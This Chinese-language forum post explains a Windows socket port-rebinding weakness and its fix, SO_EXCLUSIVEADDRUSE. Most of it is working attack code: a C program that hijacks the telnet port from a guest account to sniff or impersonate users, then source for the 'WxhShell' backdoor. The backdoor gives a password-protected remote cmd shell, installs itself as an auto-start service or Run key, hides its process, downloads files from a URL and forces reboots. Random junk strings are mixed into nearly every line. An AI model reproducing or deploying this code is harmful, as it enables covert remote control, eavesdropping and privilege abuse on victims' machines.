在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
WE7l[<b s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
IyuT=A~Ki uR%H"f saddr.sin_family = AF_INET;
qpeK><o *3K"Kc2 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
#?=cg]v_ ,'673PR bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
FS}z_G|4] )-{Qa\6(% 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
MnI $% /YbL{G
)j} 这意味着什么?意味着可以进行如下的攻击:
eBV{B70k 7| T:TbY> 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
i=a LC*@ @6!JW(,]\ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
`+o.w#cl YC_^jRB8n 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
FTfA\/tl(; ZkJM?Fzq 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
D.6dPzu` %E\%nTV 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
ezvaAhd{ |Q;o538 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
z>:7}=H0 <X |h* 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
t_rDXhM ]`XuE-Uh #include
4Dia#1$:J #include
}BrE|'.j' #include
,')bO*Ng #include
-!cAr
< DWORD WINAPI ClientThread(LPVOID lpParam);
b9N4Gr int main()
#0D.37R+k {
|7$h@KF=S WORD wVersionRequested;
TH!8G,(w DWORD ret;
\G@6jn1G( WSADATA wsaData;
SA1/U BOOL val;
"/?qT;<$) SOCKADDR_IN saddr;
0d ->$gb SOCKADDR_IN scaddr;
sriz
b int err;
VWv0\:,G SOCKET s;
? ^CGJ1 SOCKET sc;
72zuI4& int caddsize;
'5U$`Xe1 HANDLE mt;
2&fwr>!$ DWORD tid;
!y`e,(E wVersionRequested = MAKEWORD( 2, 2 );
["<(\v9P) err = WSAStartup( wVersionRequested, &wsaData );
jTr4A-" if ( err != 0 ) {
;NeP&)Td printf("error!WSAStartup failed!\n");
'>Y
2lqa return -1;
=7Vl{>*1N }
He!!oKK> saddr.sin_family = AF_INET;
v`BG1&/| lKUm_; m //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
%},G(> \2xBOe-a] saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
J\'5CG saddr.sin_port = htons(23);
~,68S^nP)H if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
@t8kN6. {
~bTae =FP printf("error!socket failed!\n");
-<!17jy return -1;
1>VS/H` }
b
H_pNx81 val = TRUE;
c$kb0VR //SO_REUSEADDR选项就是可以实现端口重绑定的
ON0+:`3\ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Q;/F0JDH {
*v ^"4 printf("error!setsockopt failed!\n");
Sp,Q,Q4 return -1;
%i>e }
!(K{*7|h //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
b6vYM_ Q //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
-0da"AB //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
oB
R(7U~0 .p(l+ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
\_AEuz3
F {
KB R0p&MN ret=GetLastError();
s@LNQ|'kO printf("error!bind failed!\n");
Lu 39eO6 return -1;
\%Rta$O?S }
dm=F:\C listen(s,2);
t}k'Ba3]:Y while(1)
gQ[^gPWP" {
IWo~s caddsize = sizeof(scaddr);
N"RYM~c7 //接受连接请求
K]!u@I* K" sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
'Q>z** if(sc!=INVALID_SOCKET)
B8AzN9v&"N {
SM+fG: 4d mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
kdh9ftm*\ if(mt==NULL)
Df~p'N-$ {
(Q8?) printf("Thread Creat Failed!\n");
.l=*R7~EU break;
Z/= %J3f }
LDEW00zL }
G+ v, Hi1 CloseHandle(mt);
Rgfhs[Z }
}K80G~O2< closesocket(s);
!u{"] T: WSACleanup();
Z/kaRnG[@t return 0;
;c-
]bhBB }
2{B(j&{ DWORD WINAPI ClientThread(LPVOID lpParam)
]p&< nK, {
Jrd4a~XP SOCKET ss = (SOCKET)lpParam;
prEu9$:t SOCKET sc;
8J3@VD. unsigned char buf[4096];
V9j1j}
r SOCKADDR_IN saddr;
} .3]
long num;
3U"') DWORD val;
Dbdzb m7 DWORD ret;
)6:]o&bZ //如果是隐藏端口应用的话,可以在此处加一些判断
Mq:'-` //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
^b!7R
<>~ saddr.sin_family = AF_INET;
$7n#\h saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
iSr`fQw# saddr.sin_port = htons(23);
Ivt} o_b* if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
CLY6 YB' R {
afF+*\xXN printf("error!socket failed!\n");
)@bH" return -1;
'uf2
nUo }
sh(kRrdY3 val = 100;
xR|eye R if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
.z$Sm {
noh|/sPMD ret = GetLastError();
:#w+?LA* return -1;
M_!u@\ }
xw+<p if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Km9}^*Mo% {
i=1 }lkq ret = GetLastError();
K@jSr*\' return -1;
w,![;wG }
?D(FNd if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
K 5qLBz@U {
<F)w=_%& printf("error!socket connect failed!\n");
5B>Q6 closesocket(sc);
jemxky closesocket(ss);
-|Yh/ return -1;
r'd:SaU+ }
<,@H;|mZ while(1)
&*aer5?` {
4" ,
)zDk //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
7.$]f71z //如果是嗅探内容的话,可以再此处进行内容分析和记录
1]>$5 1Q //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
eyf4M;goz} num = recv(ss,buf,4096,0);
4Hml.|$ if(num>0)
OgKWgvy send(sc,buf,num,0);
0Q$~k else if(num==0)
'je8k7`VA break;
]^; b num = recv(sc,buf,4096,0);
B 9LSxB if(num>0)
]M~8@K send(ss,buf,num,0);
*f `s%&Y]s else if(num==0)
i0'Xy>l break;
nOoKGT }
i $[,-4v closesocket(ss);
MOP]\ypn closesocket(sc);
$v:gBlj%" return 0 ;
np-T&Pz2 }
VR4E
2^ :'d76pM- emv ;m/&8 ==========================================================
(|<h^]
y3 <Spr6U9p7 下边附上一个代码,,WXhSHELL
56Sh h-r6PY=i ==========================================================
B:O+*3j '!wPnYT@D #include "stdafx.h"
wX)efLmyhY $/[Gys3" #include <stdio.h>
zP:~O #include <string.h>
e{fZ}`=7y #include <windows.h>
W>Mse[6`c #include <winsock2.h>
k;;nE o~6 #include <winsvc.h>
N<aB)</ #include <urlmon.h>
*|];f#^9 \|eJJC #pragma comment (lib, "Ws2_32.lib")
r7Nu>[r5 #pragma comment (lib, "urlmon.lib")
OgEUq'' k40Ep(M} #define MAX_USER 100 // 最大客户端连接数
7$+P|U #define BUF_SOCK 200 // sock buffer
>oft :7p #define KEY_BUFF 255 // 输入 buffer
e=gboR W
il{FcHY #define REBOOT 0 // 重启
u}Ei_
O<z #define SHUTDOWN 1 // 关机
c8#T:HM|` n> MD\ZS #define DEF_PORT 5000 // 监听端口
N@cMM1 5mI?pfm #define REG_LEN 16 // 注册表键长度
3D
9N:c #define SVC_LEN 80 // NT服务名长度
Az9X#h.vf x*unye7 // 从dll定义API
Z $!C= typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
M MAAHo typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
?_VRfeztw typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
*he7BUO typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
e>
ar ,'FD}yw4v // wxhshell配置信息
$Q8P@L)[ struct WSCFG {
,dHP`j ? int ws_port; // 监听端口
[#7y[<.P char ws_passstr[REG_LEN]; // 口令
lir&e
9I+ int ws_autoins; // 安装标记, 1=yes 0=no
x8 f6, char ws_regname[REG_LEN]; // 注册表键名
3AvVU]@&Z@ char ws_svcname[REG_LEN]; // 服务名
PqT"jOF]n char ws_svcdisp[SVC_LEN]; // 服务显示名
0fnZR$PB char ws_svcdesc[SVC_LEN]; // 服务描述信息
6RH/V:YY char ws_passmsg[SVC_LEN]; // 密码输入提示信息
LIr(mB"Y0 int ws_downexe; // 下载执行标记, 1=yes 0=no
R]CZw;zS_ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
3hc#FmLr2b char ws_filenam[SVC_LEN]; // 下载后保存的文件名
`6rrXU6| T|;^.TZ };
McEmd.S<n }l.KpdRT2 // default Wxhshell configuration
7}<Sg struct WSCFG wscfg={DEF_PORT,
'oC$6l'rQ "xuhuanlingzhe",
)*!1bgXQ 1,
54=}GnZN "Wxhshell",
jo_o`j "Wxhshell",
3QCMK^#Z: "WxhShell Service",
ewo*7j4* "Wrsky Windows CmdShell Service",
S&n[4* "Please Input Your Password: ",
q z=yMIy= 1,
&c20x+ "
http://www.wrsky.com/wxhshell.exe",
"\`>2 "Wxhshell.exe"
HKpD2M };
PdR >;$1 0;vtdM[_ // 消息定义模块
)nhfkW=e char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
6yN"
l
Q7 char *msg_ws_prompt="\n\r? for help\n\r#>";
%h0D)6j
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Am#m>^!qb char *msg_ws_ext="\n\rExit.";
BpH|/7 char *msg_ws_end="\n\rQuit.";
LlU'_}> char *msg_ws_boot="\n\rReboot...";
'#H&:Htm;L char *msg_ws_poff="\n\rShutdown...";
{b(rm,% char *msg_ws_down="\n\rSave to ";
wjuGq.qIu
e d_m +NM char *msg_ws_err="\n\rErr!";
ll_}& a0G char *msg_ws_ok="\n\rOK!";
?4:rP@
+q7qK* char ExeFile[MAX_PATH];
b 1cd&e int nUser = 0;
h:f;mn?x HANDLE handles[MAX_USER];
FnY$)o; int OsIsNt;
?3[tJreVj b<\$d4Qy SERVICE_STATUS serviceStatus;
{&uT3*V1 SERVICE_STATUS_HANDLE hServiceStatusHandle;
9 >%+bA( o1U}/y+R\ // 函数声明
w.tW=z5 int Install(void);
U%L
-NMe int Uninstall(void);
vsH3{:&;"P int DownloadFile(char *sURL, SOCKET wsh);
[4Y[?)7 int Boot(int flag);
:H{Bb{B% void HideProc(void);
i9KTX%s5^ int GetOsVer(void);
{-Yee[d<? int Wxhshell(SOCKET wsl);
<p09oZ{6 void TalkWithClient(void *cs);
[qiOd! int CmdShell(SOCKET sock);
INOH{`}Ew int StartFromService(void);
M]1; int StartWxhshell(LPSTR lpCmdLine);
GN0duV N. jA 8X VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
^ZR8s^X VOID WINAPI NTServiceHandler( DWORD fdwControl );
O"qR }W 97!H`|u < // 数据结构和表定义
2pz4rc SERVICE_TABLE_ENTRY DispatchTable[] =
$1~c_<DN {
uw_H:-J {wscfg.ws_svcname, NTServiceMain},
~,T+JX {NULL, NULL}
Oohq9f#! };
\Y9I~8\gB vuZf#\zh} // 自我安装
`6P?G|' int Install(void)
J8J!#j. {
_1P`]+K\D$ char svExeFile[MAX_PATH];
PzLJ/QER HKEY key;
YN/u9[=` strcpy(svExeFile,ExeFile);
lO[E[c G q4)Ey // 如果是win9x系统,修改注册表设为自启动
uNy!<u if(!OsIsNt) {
%w$mSG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
?;_H{/)m RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
<z',]hy RegCloseKey(key);
+ZX.1[O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
@/LiR>, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
I
:@|^PYw RegCloseKey(key);
`&H04x"Y$> return 0;
@O'I)(To }
q4+Yv2e
<r }
>d97l&W }
J)#S-ZB+'k else {
ac|/Y$\w
A0OB$OK // 如果是NT以上系统,安装为系统服务
)L >Q;' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
0TmZ*?3!4 if (schSCManager!=0)
T!(sZf {
TywK\hH SC_HANDLE schService = CreateService
w]}f6VlEl (
dkpQZXi9% schSCManager,
6(>WGR wscfg.ws_svcname,
FJ}gUs{m wscfg.ws_svcdisp,
-qfnUh SERVICE_ALL_ACCESS,
$,@JYLC2 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
>%l:Dw\A: SERVICE_AUTO_START,
oJh"@6u6K SERVICE_ERROR_NORMAL,
D&-vq,c svExeFile,
i+I0k~wY NULL,
ZL,6_L/ NULL,
t| _{;!^
NULL,
R1Yqz $# NULL,
94y9W# NULL
V,m3-=q );
K_Re}\D if (schService!=0)
^\T]r<rCY {
.'&V#D0 CloseServiceHandle(schService);
"Vx6 #u@} CloseServiceHandle(schSCManager);
6`Lcs strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
-zdmr"CA strcat(svExeFile,wscfg.ws_svcname);
PV(4$I} if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
5/,Qz>QE[ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
_-RyHgX RegCloseKey(key);
Ok,HD7 return 0;
n>S2}y }
bM ^7g }
>x*)GPDa CloseServiceHandle(schSCManager);
FllX za) }
`6}Yqh)) }
[1U{ci&=p "O``7HA} return 1;
y]
y9'5_ }
Hr&Ere8.4p E?_ zZ2 // 自我卸载
Wt:~S/l int Uninstall(void)
Cg^:jd {
]);NnsG HKEY key;
^obC4( ; [FLT:$ if(!OsIsNt) {
op.d;lO@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ly=a>}F_ RegDeleteValue(key,wscfg.ws_regname);
H#`8Ey RegCloseKey(key);
J)Ol"LXV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
hJLT!33: RegDeleteValue(key,wscfg.ws_regname);
{!r#f(?uT RegCloseKey(key);
_ ~[M+IO
return 0;
1fR P1 }
%4/xH9 }
JRo;(wqZ }
W "k|K: else {
&r:=KT3 +|0 t SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
>:$"a if (schSCManager!=0)
}#bZ8tm& {
GMw)* SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
*Dc@CmBr if (schService!=0)
YD9!=a$ {
fbV@= (y? if(DeleteService(schService)!=0) {
.`+yo0O: CloseServiceHandle(schService);
TRy^hr8~ CloseServiceHandle(schSCManager);
Fpf><Rn return 0;
G A EZY }
7"a4/e;^ CloseServiceHandle(schService);
h7*O.Opm= }
zofx+g\(W CloseServiceHandle(schSCManager);
UKj`_a6 }
*uU4^E( }
y;QQ| =, D J_DonO] return 1;
M $uf:+F }
A%n?} I)lC{v // 从指定url下载文件
NNp}|a9 int DownloadFile(char *sURL, SOCKET wsh)
_#vGs:-x& {
$
9 =8@ HRESULT hr;
d"GDZ[6 char seps[]= "/";
JqSr[q char *token;
0
u2Ny&6w char *file;
9(OAKUQ char myURL[MAX_PATH];
ju.OW`GM char myFILE[MAX_PATH];
K_&_z vpV$$=Qwp strcpy(myURL,sURL);
Qsji0ikG token=strtok(myURL,seps);
37jQ'O
U while(token!=NULL)
LihdZ ) {
N iISJWk6' file=token;
`;/XK,m- token=strtok(NULL,seps);
Qi^;1& }
NWaO_sm sv`"\3N[ GetCurrentDirectory(MAX_PATH,myFILE);
dN0mYlu1| strcat(myFILE, "\\");
.)t(:)*b strcat(myFILE, file);
{2EMz|&8 send(wsh,myFILE,strlen(myFILE),0);
o3\,gzJ send(wsh,"...",3,0);
n.ct]+L hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Z/h|\SyJ if(hr==S_OK)
ONfyYM? return 0;
(!-;T else
Km"&mT $ return 1;
{G%3*=?,j #D0W7a }
ib; yu_ 0Az/fzJlz // 系统电源模块
mw"}8y int Boot(int flag)
+4HlRGH {
5us^B8Q HANDLE hToken;
Kr]W
o8dWy TOKEN_PRIVILEGES tkp;
O{u[+g !t%Q{`p if(OsIsNt) {
qK,V$l(4# OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
1!1DuQ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
wHWma)}-z tkp.PrivilegeCount = 1;
tUv3jq)n% tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
2qXo{C3 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
k}s+ca!B if(flag==REBOOT) {
gs fhH0 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
`@MPkCy1 return 0;
T5q-"W6\ }
r,"7%1I else {
:$2Yg[Zc3 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
#h{Nz/h+ return 0;
r@Nl2 }
bs P6\'\4 }
vzcz<i ) else {
l1DI*0@ if(flag==REBOOT) {
J?,?fqb if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
2+Zti8 return 0;
UO1$UF!
QC }
k% NrL@z else {
.jaZ|nN8` if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
>3!DOv return 0;
LyV#j>gD }
*F|+2?a:$ }
RAwk7F3qn nzWQQra|? return 1;
NnP.k7m) }
1@@y]s_.a sS|<&3 // win9x进程隐藏模块
>Fp&8p`am void HideProc(void)
mtIMW9 {
0Nt%YP .*:h9AE7vo HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
|,{+;: if ( hKernel != NULL )
8m|x#*5fQl {
*W%'Di pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
y
qkX:jt ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
7PA=)a\ FreeLibrary(hKernel);
Pj._/$R[/ }
W8VO)3nmD KX=/B=3~ return;
H>Ks6V)RL4 }
80HEAv,O \6i9q= // 获取操作系统版本
jceHKl int GetOsVer(void)
L\YZT|
K( {
%UBPoq OSVERSIONINFO winfo;
jzQ I>u winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
;AltNGcM GetVersionEx(&winfo);
~ur)fAuF2 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
O/$ v69: return 1;
%_)b>C18y else
?;fv!'?% return 0;
<\p&jk? }
,[^o9u uB Xj(>.E{~H // 客户端句柄模块
qhnapZJ int Wxhshell(SOCKET wsl)
.01TTK * {
v =>3"!* SOCKET wsh;
6# R;HbkO struct sockaddr_in client;
:/~_sJt C DWORD myID;
X tR`? eWw y28t while(nUser<MAX_USER)
}FZp840 {
g&P9UW>qS int nSize=sizeof(client);
-: C[P wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
[RW,{A if(wsh==INVALID_SOCKET) return 1;
F=VoFmF@ a0 qj[+ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
?o@E1:aA if(handles[nUser]==0)
v3Eo@,- closesocket(wsh);
?nY/, q& else
. rRc nUser++;
H&9wSG` }
h%u?lW WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Sw[=S '(l P^ by'b+zI return 0;
*x5o=)Y }
27$\sG|g 80cm6?,xu // 关闭 socket
N4tc V\O void CloseIt(SOCKET wsh)
pc^E'h: {
rtoSCj: closesocket(wsh);
r!>es;R8 nUser--;
lf}?!*V`+ ExitThread(0);
\#HL`R" }
N#mK7|\c?: WI%zr2T // 客户端请求句柄
[]!tT-Gzy void TalkWithClient(void *cs)
4U:DJ_GN {
WtMcI>4w cS+?s=d SOCKET wsh=(SOCKET)cs;
v#w4{.8) char pwd[SVC_LEN];
PVS\, char cmd[KEY_BUFF];
|I4D(#w. char chr[1];
f.sPE8#3= int i,j;
0GF%~6 s8C:QC while (nUser < MAX_USER) {
UX03"gX
*pmoLiuB> if(wscfg.ws_passstr) {
UqY J#&MqY if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
]rKH|i //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
CdE2w?1 //ZeroMemory(pwd,KEY_BUFF);
nvw NjN i=0;
dV'6m@C while(i<SVC_LEN) {
L>eQ*311 I):m6y@ // 设置超时
_$~ex ~v fd_set FdRead;
34HFrMi struct timeval TimeOut;
X}kVBT1w+x FD_ZERO(&FdRead);
s#M?
tyhj FD_SET(wsh,&FdRead);
uHTKo(NG TimeOut.tv_sec=8;
`Nc`xO? TimeOut.tv_usec=0;
vr5<LNCLQ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
T
"ZQPLg if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
hrUm}@d d91I if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Sz^TGF pwd
=chr[0]; &:IfhS
if(chr[0]==0xd || chr[0]==0xa) { jqV)V> M.
pwd=0; 0q-0zXlSL
break; ZK W@pW]U
} _gis+f/8h
i++; 2&3eAJC
} `kI?Af*;v
!]n{l_5r
// 如果是非法用户,关闭 socket sqgD?:@J
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]=O{7#
} 1==P.d(
bgkbwE
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ayB=|*Q"
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _:/Cl9~
ZP]2/;h
while(1) { 77Q4gw~2U
.N'%hh
ZeroMemory(cmd,KEY_BUFF); s:qxAUi\/
x0N-[//YV
// 自动支持客户端 telnet标准 n3-GnVC][
j=0; 4+Li)A:4.
while(j<KEY_BUFF) { LbLbJ{68
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); T +|J19
cmd[j]=chr[0]; `Pz!SJ|
if(chr[0]==0xa || chr[0]==0xd) { 5pN08+
cmd[j]=0; 'US8"83
break; )of5229
} &z{dr~
j++; *RUd!]bh
} b6rzHnl{
3}.mp}K5
// 下载文件 0`aHwt/F
if(strstr(cmd,"http://")) { IeqWR4Y
send(wsh,msg_ws_down,strlen(msg_ws_down),0); "RR./e)h
if(DownloadFile(cmd,wsh)) V{/)RZ/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); I\F=s-VVY
else #L).BM
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $Sc08ro
} `Lb _J
else { s~IA},F,\
5,G<}cd
switch(cmd[0]) { ~Sn5;g8+\
Ynk><0g6
// 帮助 =B,_d0Id
case '?': { d6Q :{!Sd"
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8_sU8q*s
break; V@5 4k*V
} vh:UXE lm
// 安装 N`L'
4v)
case 'i': { uj+.L6S
if(Install()) wUZ(Tin
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &j
wnM
else \!' {-J
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~]i]kU
break; iYmzk?U
} V}Y~z)i0
// 卸载 'w |s*5
case 'r': { .aAw7LW
if(Uninstall()) "=v J}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <W^XSk
else =_H*fhXS
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ux/[d6To
break; 7kWZMi
} ;{F;e)${M
// 显示 wxhshell 所在路径 o#KPrW`XJ/
case 'p': { 8m13M5r
char svExeFile[MAX_PATH]; l yLK$B?/
strcpy(svExeFile,"\n\r"); )=SYJ-ta<
strcat(svExeFile,ExeFile); }X W#?l
send(wsh,svExeFile,strlen(svExeFile),0); @zVBn~=i
break; +2_6C;_DX
} gP_d>p:b
// 重启 s/p>30Fg
case 'b': { ^QHMN 7r/
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )oz-<zW
if(Boot(REBOOT)) e5:l 6`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =O}%bZ)Q
else { !A ydhe
closesocket(wsh); 5e~{7{
ExitThread(0); #/
gme
} 6r-<XNv)0
break; zxynEdO
} 9O0
// 关机 j{Qbzczy,
case 'd': { &&QDEDszp
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }1^tK(Am
if(Boot(SHUTDOWN)) ?6l,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); VHXR)}
else { $4ZDT]n
closesocket(wsh); #\!hBL
@b
ExitThread(0); _QtQPK\+
} s'fcAh,c6
break; t9-\x
} .tHv4.ob
// 获取shell q}76aa0e
case 's': { *7D$;?"
CmdShell(wsh); uvK%d\d
closesocket(wsh); "
:nVigw&
ExitThread(0); ;r@R (Squ
break; R;,u >P "
} \5L 4*
// 退出 AQBx
k[
case 'x': { `X]2iz
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /\Y%DpG$
CloseIt(wsh); ~ @"Qm;}
"
break; G4`sRaT.
}
p=P0$P+KM
// 离开 iRr&'k
case 'q': { GT`<jzAi Q
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0T{Y_IG
closesocket(wsh); =jd=Qs IL
WSACleanup(); pa> 2JF*
exit(1); rQQPs\o
break; ^{]sD}Q"
} 3E2.v5*
} fB ,!|u
} 2*",{m
h/y}
// 提示信息 PFn[[~5V
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6s"bstc{
} @BQBNGR 1
} JMe[
.Sx
`LHfAXKN
return; gSo(PW)
} I`}vdX)
e^fKatI1
// shell模块句柄 $A!h=]
int CmdShell(SOCKET sock) @^4M~F%
{ YNQ6(HA
STARTUPINFO si; vYm&AD
ZeroMemory(&si,sizeof(si)); LkbvA
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^DCv-R+p
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N)I
T?
PROCESS_INFORMATION ProcessInfo; PHL@1K{)
char cmdline[]="cmd"; CzsY=DBH=
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Dp |FyP_w
return 0; !?-5hh1\
} r#Oz0=0u
DO,&Foh\
// 自身启动模式 S/:QVs
int StartFromService(void) >mDubP
{ s/&]gj"
typedef struct &^D@(m7>{K
{ I!0+RP(
DWORD ExitStatus; GpQF* x
DWORD PebBaseAddress; EYD{8Fw-
DWORD AffinityMask; g[+Q~/yq
DWORD BasePriority; ZJ}LnPr
ULONG UniqueProcessId; 7wEG<,D
